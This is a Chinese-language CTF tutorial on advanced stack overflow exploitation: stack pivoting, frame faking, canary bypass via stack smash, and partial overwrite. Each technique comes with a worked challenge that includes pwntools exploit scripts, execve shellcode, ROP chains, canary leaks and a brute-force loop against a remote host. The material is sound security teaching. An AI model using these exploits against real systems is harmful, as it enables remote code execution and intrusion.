文章目录
花式栈溢出
参考:https://ctf-wiki.org/pwn/linux/user-mode/*/x86/fancy-rop/#2018-over
参考:https://www.yuque.com/hxfqg9/bin/erh0l7
参考:https://ctf-wiki.org/pwn/linux/user-mode/*/x86/fancy-rop
1.原理
1.1 stack pivoting
stack pivoting,翻为堆栈旋转 ,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP(说白了就是通过控制esp,从而达到间接控制eip的目的)。一般来说,我们可能在以下情况需要使用 stack pivoting:
- 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
- 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
- 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用
此外,利用 stack pivoting 有以下几个要求
- 可以控制程序执行流,也就是控制eip。
- 可以控制 sp 指针。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是
pop rsp/esp
jmp rsp/esp
还有libc_csu_init 中的csu_gadget1 + 3:
pwndbg> x/5i 0x000000000040061A + 3
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
1.2 栈迁移(frame faking)
1.2.1 gadget介绍
栈迁移主要利用了 leave; ret; 这样的gadget
leave相当于:
move esp, ebp;
pop ebp
ret相当于:
pop eip
当程序完成调用,打算返回时,就会出现leave; ret这样的gadget:
1.2.2 栈(payload)布置
栈迁移的栈布置如下(payload = padding + address(fake_ebp1) + read + leave_ret_gadget + 0 + fake_ebp1 + 0x100):
在进行read()函数读入数据时,我们需要输入:address(fake ebp2) + system() + padding _+ “/bin/sh”。(这里以system()为例,也可以调用其他的函数)
备注:
1. payload内加入read是为了在bss段或者data段内写入我们需要的数据,如果需要的数据提前已经被构造好了,那么可以删掉read,直接跟上leave_ret_gagegt。
2.在后面read()读入数据时输入的address(fake ebp2)是为了控制ebp的指向。如果只是为了执行函数,无所谓ebp在哪,那完全不需要输入address(fake ebp2),而可以用padding代替。
1.2.3 步骤分析
我们逐步分析下栈迁移的每一步,以执行system()函数为例:
stage 1:
函数调用完成,程序在函数结尾执行leave指令的move esp, ebp:
stage 2:
执行leave指令的 pop ebp:
stage 3:
程序执行ret,即pop eip,那么调用read(0, fake_ebp1, 0x100)函数。那么我们输入的内容就会从fake_ebp1开始往高地址写,我们让它写入:address(fake ebp2) + system() + padding + “/bin/sh”
stage 4:
程序执行leave_ret_gadget,那么又会像上面一样:
执行move esp, ebp
:
stage 5:
然后是pop ebp:
这个时候我们发现esp指向了我们写入的函数地址,比如system()函数。
stage 6:
然后是ret:
程序被劫持指向我们指定的函数,比如system(),实现目的。
其他栈迁移方式:
下面再介绍一种栈迁移方式,不过原理基本一样,不一样的是如下的布置方式不需要利用被调用函数的leave;ret
机制,且调用完后ebp不知道会指向哪里(取决于0x804a824内写入的原来的数据),但是仍然可以指向指定的函数:
以下以调用write()函数对栈上的”/bin/sh“进行打印为例:
原栈帧的布置:
0x0000: b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0x0004: b'aaaa'
...
0x0064: b'aaaa'
0x0068: b'aaaa'
0x006c: b'aaaa'
0x0070: 0x8048390 read(0, 0x804a828, 100)
0x0074: 0x804836a <adjust @0x84> add esp, 8; pop ebx; ret
0x0078: 0x0 arg0
0x007c: 0x804a828 arg1
0x0080: 0x64 arg2
0x0084: 0x804864b pop ebp; ret
0x0088: 0x804a824
0x008c: 0x8048465 leave; ret
bss段布置:
0x0000: 0x80483c0 write(1, 0x804a878, 7)
0x0004: 0x804836a <adjust @0x14> add esp, 8; pop ebx; ret
0x0008: 0x1 arg0
0x000c: 0x804a878 arg1
0x0010: 0x7 arg2
0x0014: b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0x0018: b'aaaa'
...
0x0048: b'aaaa'
0x004c: b'aaaa'
0x0050: b'/bin' '/bin/sh'
0x0054: b'/sh'
0x0057: b'aaaa' 'aaaaaaaaaaaaa'
0x005b: b'aaaa'
0x005f: b'aaaa'
0x0063: b'a'
执行完后,栈帧如下:
1.3 Stack smash
Stack smash是绕过canary保护的技术。
在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail
函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下:
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail
函数中就会输出我们想要的信息。
但是,在我的ubuntu20.04(内核 4.19.128)里面不会打印程序名,也不会打印 <unknown>
:
*** stack smashing detected ***: terminated
因此,对于比较新的内核,这个技巧无效了。
1.4 partial overwrite
在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。
2.例题
2.1 stack pivoting
2.1.1 习题信息
习题来自:ctf-challenges/pwn/*/stackprivot/X-CTF Quals 2016 - b0verfl0w
2.1.2 程序分析
看一下安全机制:
$ checksec b0verfl0w
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/*/stackprivot/X-CTF Quals 2016 - b0verfl0w/b0verfl0w'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
可以看出来是32位的,没有canary,没有nx,没有pie,存在RWX
IDA看一下漏洞函数:
signed int vul()
{
char s; // [esp+18h] [ebp-20h]
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
程序存在栈溢出,但是溢出的长度为: 50 - 0x20 - 4 = 14字节,因此很多rop无法执行。
考虑stack privoting,因为程序没有开启nx,因此可以把shellcode部署到栈上执行。基本思路如下:
- 利用栈溢出部署shellcode
- 控制eip指向shellcode
那么如何控制eip指向shellcode,我们寻找类似 jmp esp
的gadget:
$ ROPgadget --binary b0verfl0w --only "jmp|ret"
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x0804855d : jmp dword ptr [ecx + 0x804a040]
0x08048550 : jmp dword ptr [ecx + 0x804a060]
0x0804876f : jmp dword ptr [ecx]
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1
Unique gadgets found: 9
可以使用 0x08048504 处的gadget,当esp指向了我们可以控制的gadget时,触发jmp esp,从而让eip指向我们可以控制的gadget。然后我们可以控制的gadget功能就是让esp指向栈上shellcode,再jmp esp。
exp如下:
from pwn import *
sh = process('./b0verfl0w')
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp') # 我们可以控制的gadget
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
运行结果:
$ python2 exploit.py
[+] Starting local process './b0verfl0w': pid 9751
[*] Switching to interactive mode
======================
Welcome to X-CTF 2016!
======================
What's your name?
Hello 1���Qh//shh/bin\x89�
̀bbbbbbbbbbbbbbb\x04\x04\x83�(��
.$
2.2 栈迁移(frame faking)
2.2.1 习题信息
习题来自:ctf-challenges/pwn/*/fake_frame/over
2.2.2 程序分析
检查一下安全机制:
$ checksec over.over
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/*/fake_frame/over/over.over'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
发现64位,只开了nx.
IDA看一下漏洞函数:
int sub_400676()
{
char buf[80]; // [rsp+0h] [rbp-50h]
memset(buf, 0, sizeof(buf));
putchar('>');
read(0, buf, 0x60uLL);
return puts(buf);
}
发现这个函数的栈只有0x50,read()函数只能写入0x60,也就是说只能刚刚好覆盖ret,不能再继续往高地址写入数据了。
那么我们可以把要迁移的栈放在原来的栈上,然后控制rbp指向迁移的栈(在本题也就是sub_400676()的rsp位置,因为buf恰好在rsp + 0h地方),这样,我们就能够布置要迁移的栈了。
那么我们怎么知道fake rbp呢?
因为read()写入数据时,不会自动补入“\0”,因此源程序调用puts()时,就会把栈上内容打印出来。我们只需要让buf为0x50,那么就会把prev ebp给打印出来,再根据偏移,计算出fake rbp的值。
我们在调用puts()函数前,打个断点,然后gdb看一下偏移:
0x4006b6 mov rdi, rax
► 0x4006b9 call puts@plt <puts@plt>
s: 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */
0x4006be leave
0x4006bf ret
0x4006c0 push rbp
0x4006c1 mov rbp, rsp
0x4006c4 sub rsp, 0x10
0x4006c8 mov dword ptr [rbp - 4], edi
0x4006cb mov qword ptr [rbp - 0x10], rsi
0x4006cf mov rax, qword ptr [rip + 0x20098a] <0x601060>
0x4006d6 mov ecx, 0
────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rax rdi rsi rsp 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */
01:0008│ 0x7fffffffdf68 ◂— 0x0
... ↓ 6 skipped
──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x4006b9
f 1 0x400715
f 2 0x7ffff7deb0b3 __libc_start_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 14
00:0000│ rax rdi rsi rsp 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */
01:0008│ 0x7fffffffdf68 ◂— 0x0
... ↓ 8 skipped
0a:0050│ rbp 0x7fffffffdfb0 —▸ 0x7fffffffdfd0 ◂— 0x0
0b:0058│ 0x7fffffffdfb8 —▸ 0x400715 ◂— 0xb890f0eb0274c085
0c:0060│ 0x7fffffffdfc0 —▸ 0x7fffffffe0c8 —▸ 0x7fffffffe326 ◂— 0x732f642f746e6d2f ('/mnt/d/s')
0d:0068│ 0x7fffffffdfc8 ◂— 0x100000000
pwndbg> distance 0x7fffffffdf60 0x7fffffffdfd0
0x7fffffffdf60->0x7fffffffdfd0 is 0x70 bytes (0xe words)
发现偏移是0x70 (也就是从prev rbp 到 现在栈的rsp)
那么我们就需要将泄露出来的prev rbp - 0x70得到现在的rsp,也就是迁移的栈的栈顶
现在已经获得了要迁移的栈的栈顶,同时迁移过去的栈也已经能够布置了,按照正常的栈迁移payload构造即可。
exp如下:
# coding=utf-8
from pwn import *
context.binary = "./over.over"
def DEBUG(cmd):
raw_input("DEBUG: ")
gdb.attach(io, cmd)
io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc
io.sendafter(">", b'a' * 80)
stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\0')) - 0x70
success("stack -> {:#x}".format(stack))
# DEBUG("b *0x4006B9\nc")
# gdb.attach(io)
leave_ret = 0x4006be
pop_rdi_ret = 0x400793
io.sendafter(">", flat(['11111111', pop_rdi_ret, elf.got['puts'],
elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, leave_ret])) # 栈迁移的payload构造,打过去栈就进行迁移。也就是迁移到sub400676的栈(fake stack)上
libc.address = u64(io.recvuntil(b"\x7f")
[-6:].ljust(8, b'\0')) - libc.sym['puts'] # 计算libc基地址
success("libc.address -> {:#x}".format(libc.address))
'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
0x00000000000f5279 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret = libc.address+0x130569 # 这个在不同的内核下不同,需要根据自己的系统找。我这个偏移是在4.15内核下(ubuntu18.04)的,我的4.19内核(ubuntu20.04)就找不到
#gdb.attach(io)
payload = flat(['22222222', pop_rdi_ret, next(libc.search(b"/bin/sh")), pop_rdx_pop_rsi_ret,
p64(0), p64(0), libc.sym['execve'], (80 - 7*8) * '2', stack - 0x30, leave_ret]) # 这里有个stack - 0x30,因为第一次打payload之后,栈的结构发生了改变,还需要再减去-0x30才能迁移到rsp,这个得用gdb动态调
io.sendafter(">", payload)
io.interactive()
以上代码有两个注意点:
- pop_rdx_pop_rsi_ret:这个在不同的内核下不同,需要根据自己的系统找。我这个偏移是在4.15内核下(ubuntu18.04)的,我的4.19内核(ubuntu20.04)就找不到
- 第二个payload:这里有个stack - 0x30,因为第一次打payload之后,栈的结构发生了改变,还需要再减去-0x30才能迁移到rsp,这个得用gdb动态调
运行结果:
$ python3 exp.py
[*] '/home/xxx/over.over'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './over.over': pid 102509
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] stack -> 0x7ffff16ebbc0
[+] libc.address -> 0x7f2d8439f000
[*] Switching to interactive mode
22222222\x93\x07
$
2.2.3 stack smash
2.2.3.1 习题信息
习题来自:ctf-challenges/pwn/*/stacksmashes/smashes
以下在如下的环境测试:
ubuntu# uname -a
Linux ubuntu 4.15.0-129-generic #132-Ubuntu SMP Thu Dec 10 14:02:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
2.2.3.2 程序分析
checksec看一下保护机制:
$ checksec smashes
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/*/stacksmashes/smashes/smashes'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
发现程序开了canary和nx,还有fortify
IDA看一下程序:
unsigned __int64 sub_4007E0()
{
__int64 v0; // rax
__int64 v1; // rbx
int v2; // eax
__int64 v4; // [rsp+0h] [rbp-128h]
unsigned __int64 v5; // [rsp+108h] [rbp-20h]
v5 = __readfsqword(0x28u);
__printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");
LODWORD(v0) = _IO_gets((__int64)&v4);
if ( !v0 )
LABEL_9:
_exit(1);
v1 = 0LL;
__printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v2 = _IO_getc(stdin);
if ( v2 == -1 )
goto LABEL_9;
if ( v2 == '\n' )
break;
aPctfHereSTheFl[v1++] = v2;
if ( v1 == 32 )
goto LABEL_8;
}
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
LABEL_8:
puts("Thank you, bye!");
return __readfsqword(0x28u) ^ v5;
}
分析一下程序的逻辑:
- 一开始利用gets()往v4里面输入字符串,这个地方不限制输入的长度,可以进行溢出;
- 然后程序进入while循环,输入字符串长度到达32或者输入"\n"的时候,就会结束while循环。没输入一个字符,就会覆盖一个flag的字符
- 如果程序是因为换行符退出while循环,那么会执行memset清空剩下没被覆盖的flag;如果程序是因为输入的长度到达32而退出,那么不会清空剩下没被覆盖的flag
看一下存放flag的地方:
.data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0
这个时候就需要利用一个技巧:在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出
比如说,我们让程序跑起来,然后vmmap看一下内存:
pwndbg> vmmap smashes
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /mnt/d/study/ctf/资料/ctf-challenges/pwn/*/stacksmashes/smashes/smashes
0x600000 0x601000 rw-p 1000 0 /mnt/d/study/ctf/资料/ctf-challenges/pwn/*/stacksmashes/smashes/smashes
会发现:0x000000000 ~ 0x00001000范围内的内容都会被映射到内存中,分别以0x600000和0x400000作为起始地址。
flag被放在0000000000000D20,虽然0000000000600D20位置被覆盖了,但是我们仍然可以通过查看0000000000400D20来得到flag。
pwndbg> x/s 0x0000000000400D20
0x400d20: "PCTF{Here's the flag on server}"
而根据stack smash机制,程序的canary被检测出来不一致时,会打印出程序名(也就是一参),那么我们只需要将一参修改为0000000000400D20,即可打印出字符串。因此,我们需要算出程序名(也就是一参)距离栈顶的距离,然后进行替换即可。
gdb先看一下程序名(也就是一参)被放在哪里:
我们在main函数的起点(00000000004006D0)打个断点:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cPtIPN53-1633324928273)(https://i.loli.net/2021/10/02/Sv8cpAkyD6JgXGN.png)]
发现程序名(也就是一参)被放在0x7fffffffdf58位置。
当然,也可以利用pwntools直接打印:
pwndbg> p & __libc_argv[0]
$1 = (char **) 0x7fffffffdf58
那么现在只需要知道距离溢出点v4的偏移即可。我们找到gets()函数的位置,命令为$ objdump -d smashes | grep gets
:
40080e: e8 ad fe ff ff callq 4006c0 <_IO_gets@plt>
我们在gets()处打个断点,然后看一下gets()的一参,也就是v4的地址:
► 0x40080e call _IO_gets@plt <_IO_gets@plt>
rdi: 0x7fffffffdd40 ◂— 0x0
rsi: 0x19
rdx: 0x7ffff7dcf8c0 (_IO_stdfile_1_lock) ◂— 0x0
rcx: 0x0
发现v4也就是rdi是0x7fffffffdd40。
那么我们的偏移就是:
pwndbg> distance 0x7fffffffdd40 0x7fffffffdf58
0x7fffffffdd40->0x7fffffffdf58 is 0x218 bytes (0x43 words)
那么只需要设置:payload = cyclic(0x218) + 0x0000000000400D20即可,一旦程序崩溃,就会打印0x0000000000400D20的内容,也就是flag:
exp如下:
from pwn import *
p=process('./smashes')
# p = remote('pwn.jarvisoj.com', 9877)
payload = 'a'*0x228+p64(0x400d20)
p.sendlineafter('name? ', payload)
p.sendlineafter('flag: ', 'aaaaa')
print p.recv()
但是我的机器上只会打印unknown,不会打印程序名,也不会打印出flag:
ubuntu# python2 exp.py
[+] Starting local process './smashes': pid 106601
Thank you, bye!
*** stack smashing detected ***: <unknown> terminated
[*] Stopped process './smashes' (pid 106601)
2.2.4 partial overwrite
2.2.4.1 2018 - 安恒杯 - babypie
习题信息:ctf-challenges/pwn/*/partial_overwrite
程序分析:
$ checksec babypie
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位,开启了pie和canary
IDA看一下程序:
__int64 sub_960()
{
char buf[40]; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
*(_OWORD *)buf = 0uLL;
*(_OWORD *)&buf[16] = 0uLL;
puts("Input your Name:");
read(0, buf, 0x30uLL); // overflow
printf("Hello %s:\n", buf, *(_QWORD *)buf, *(_QWORD *)&buf[8], *(_QWORD *)&buf[16], *(_QWORD *)&buf[24]);
read(0, buf, 0x60uLL); // overflow
return 0LL;
}
可以很明显地看出,上面的代码存在2处很明显的溢出。第一处可以读入的长度为48字节,那么可以利用第一次read泄露canary;第二处可以读入的长度为96字节,那么可以用来覆盖ret。
画一下栈:
同时,程序存在getshell()函数。
.text:0000000000000A3E getshell proc near
.text:0000000000000A3E ; __unwind {
.text:0000000000000A3E push rbp
.text:0000000000000A3F mov rbp, rsp
.text:0000000000000A42 lea rdi, command ; "/bin/sh"
.text:0000000000000A49 call _system
.text:0000000000000A4E nop
.text:0000000000000A4F pop rbp
.text:0000000000000A50 retn
.text:0000000000000A50 ; } // starts at A3E
.text:0000000000000A50 getshell endp
因此,如果我们能够控制rip指向这里,就能够得到shell了。而我们知道,就算开了aslr,程序的最后12位也不会变。也就是说在程序运行起来getshell()的地址大概率为:xxxxxxxxxxxx?A3E
因此,我们得到以下思路:
- 第一次read(),我们写入0x28 + 0x1长度(因为read不会自动加入"\0"),泄露出canary
- 第二次read(),我们覆盖ret为xxxxxxxxxxxx0A3E,这样就会有一定的几率跳转到getshell()函数
exp如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
while True:
try:
io = process("./babypie", timeout = 1)
# gdb.attach(io)
io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1))
io.recvuntil('a' * (0x30 - 0x8 + 1))
canary = '\0' + io.recvn(7)
success(canary.encode('hex'))
# gdb.attach(io)
io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')
io.interactive()
except Exception as e:
io.close()
print e
2.2.4.2 2018-XNUCA-gets
习题来自:ctf-challenges/pwn/*/partial_overwrite/2018-xnuca-gets
以下主要参考ctf-wiki:https://ctf-wiki.org/pwn/linux/user-mode/*/x86/fancy-rop/#2018-xnuca-gets
看一下程序的保护机制:
$ checksec gets
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/*/partial_overwrite/2018-xnuca-gets/gets'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位程序,发现啥保护也没有开
IDA看一下,发现就一个gets()函数:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+0h] [rbp-18h]
gets(&v4, a2, a3);
return 0LL;
}
很明显存在栈溢出,然后我们可以控制rip。
程序停在main(0x0000000000400420),看一下栈:
pwndbg> stack 25
00:0000│ rsp 0x7fffffffe398 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
01:0008│ 0x7fffffffe3a0 ◂— 0x1
02:0010│ 0x7fffffffe3a8 —▸ 0x7fffffffe478 —▸ 0x7fffffffe6d9 ◂— 0x6667682f746e6d2f ('/mnt/hgf')
03:0018│ 0x7fffffffe3b0 ◂— 0x1f7ffcca0
04:0020│ 0x7fffffffe3b8 —▸ 0x400420 ◂— sub rsp, 0x18
05:0028│ 0x7fffffffe3c0 ◂— 0x0
06:0030│ 0x7fffffffe3c8 ◂— 0xf086047f3fb49558
07:0038│ 0x7fffffffe3d0 —▸ 0x400440 ◂— xor ebp, ebp
08:0040│ 0x7fffffffe3d8 —▸ 0x7fffffffe470 ◂— 0x1
09:0048│ 0x7fffffffe3e0 ◂— 0x0
... ↓
0b:0058│ 0x7fffffffe3f0 ◂— 0xf79fb00f2749558
0c:0060│ 0x7fffffffe3f8 ◂— 0xf79ebba9ae49558
0d:0068│ 0x7fffffffe400 ◂— 0x0
... ↓
10:0080│ 0x7fffffffe418 —▸ 0x7fffffffe488 —▸ 0x7fffffffe704 ◂— 0x504d554a4f545541 ('AUTOJUMP')
11:0088│ 0x7fffffffe420 —▸ 0x7ffff7ffe168 ◂— 0x0
12:0090│ 0x7fffffffe428 —▸ 0x7ffff7de77cb (_dl_init+139) ◂— jmp 0x7ffff7de77a0
发现栈上有__libc_start_main+240
和 _dl_init+139
那么我们可以有如下的思路:
step1: 用partial overwrite技术将__libc_start_main+240
或 _dl_init+139
的低12位覆盖,使得它们变为我们需要的gadget地址,这个gadget可以从lib.so里面找,使用onegadget即可。
step2:经过1的修改,只需要控制eip指向被覆盖后的__libc_start_main+240
或 _dl_init+139
前置知识:
__libc_start_main+240
位于 libc 中,_dl_init+139
位于 ld 中
看看step1:覆盖很easy,就像2.2.4.1一样的操作即可,但是我们要覆盖两个中的哪一个呢?因为gets()会自动加入\0
,会占1个字节,因此覆盖的时候会导致有8位变为0,如果我们覆盖__libc_start_main+240
,那么地址就会变为:0x7ffff700xxxx
,已经小于了 libc 的基地址了,前面也没有刻意执行的代码位。而_dl_init+139
是在libc的高地址位置,就算有一个字节被覆盖为\0
,变为:0x7ffff700xxxx
,会让地址变到libc.so的范围内,那么我们可以使用libc.so里面的gadget了。下面是地址,可以看到libc-2.23.so的起始地址为:0x7ffff7a0d000,ld-2.23.so的起始地址为:0x7ffff7dd7000。
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
**再看step2:**现在怎么控制eip的变化呢?我们可以利用ret2csu里面的csu_gadget1(0x40059B),这个gadget1可以让pop 5次后,进行retn。只需要多调用几次这个gadget即可。
**其他:**那么我们还需要知道具体的libc.so的版本,buu里面给出了系统版本为ubuntu16的信息和libc版本,我们可以直接使用。
但是如果没有给定怎么处理?可以像ctf-wiki一样,先随便覆盖,看看程序是否崩溃:
from pwn import *
context.terminal = ['tmux', 'split', '-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
elfpath = './gets'
context.binary = elfpath
elf = ELF(elfpath)
bits = elf.bits
def exp(ip, port):
for i in range(0x1000):
if args['REMOTE']:
p = remote(ip, port)
else:
p = process(elfpath, timeout=2)
# gdb.attach(p)
try:
payload = 0x18 * 'a' + p64(0x40059B)
for _ in range(2):
payload += 'a' * 8 * 5 + p64(0x40059B)
payload += 'a' * 8 * 5 + p16(i)
p.sendline(payload)
data = p.recv()
print data
p.interactive()
p.close()
except Exception:
p.close()
continue
if __name__ == "__main__":
exp('106.75.4.189', 35273)
产生崩溃信息如下:
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f57b6f857e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f57b6f8e37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f57b6f9253c]
/lib/x86_64-linux-gnu/libc.so.6(+0xf2c40)[0x7f57b7000c40]
[0x7ffdec480f20]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:28 48745 /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets
00600000-00601000 r--p 00000000 00:28 48745 /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets
00601000-00602000 rw-p 00001000 00:28 48745 /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets
00b21000-00b43000 rw-p 00000000 00:00 0 [heap]
7f57b0000000-7f57b0021000 rw-p 00000000 00:00 0
7f57b0021000-7f57b4000000 ---p 00000000 00:00 0
7f57b6cf8000-7f57b6d0e000 r-xp 00000000 08:01 914447 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f57b6d0e000-7f57b6f0d000 ---p 00016000 08:01 914447 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f57b6f0d000-7f57b6f0e000 rw-p 00015000 08:01 914447 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f57b6f0e000-7f57b70ce000 r-xp 00000000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so
7f57b70ce000-7f57b72ce000 ---p 001c0000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so
7f57b72ce000-7f57b72d2000 r--p 001c0000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so
7f57b72d2000-7f57b72d4000 rw-p 001c4000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so
7f57b72d4000-7f57b72d8000 rw-p 00000000 00:00 0
7f57b72d8000-7f57b72fe000 r-xp 00000000 08:01 914397 /lib/x86_64-linux-gnu/ld-2.23.so
7f57b74ec000-7f57b74ef000 rw-p 00000000 00:00 0
7f57b74fc000-7f57b74fd000 rw-p 00000000 00:00 0
7f57b74fd000-7f57b74fe000 r--p 00025000 08:01 914397 /lib/x86_64-linux-gnu/ld-2.23.so
7f57b74fe000-7f57b74ff000 rw-p 00026000 08:01 914397 /lib/x86_64-linux-gnu/ld-2.23.so
7f57b74ff000-7f57b7500000 rw-p 00000000 00:00 0
7ffdec460000-7ffdec481000 rw-p 00000000 00:00 0 [stack]
7ffdec57f000-7ffdec582000 r--p 00000000 00:00 0 [vvar]
7ffdec582000-7ffdec584000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
我们通过(cfree+0x4c)[0x7f57b6f9253c]
来最终定位 libc 的版本为2.23.
找onegadget如下:
➜ gets one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
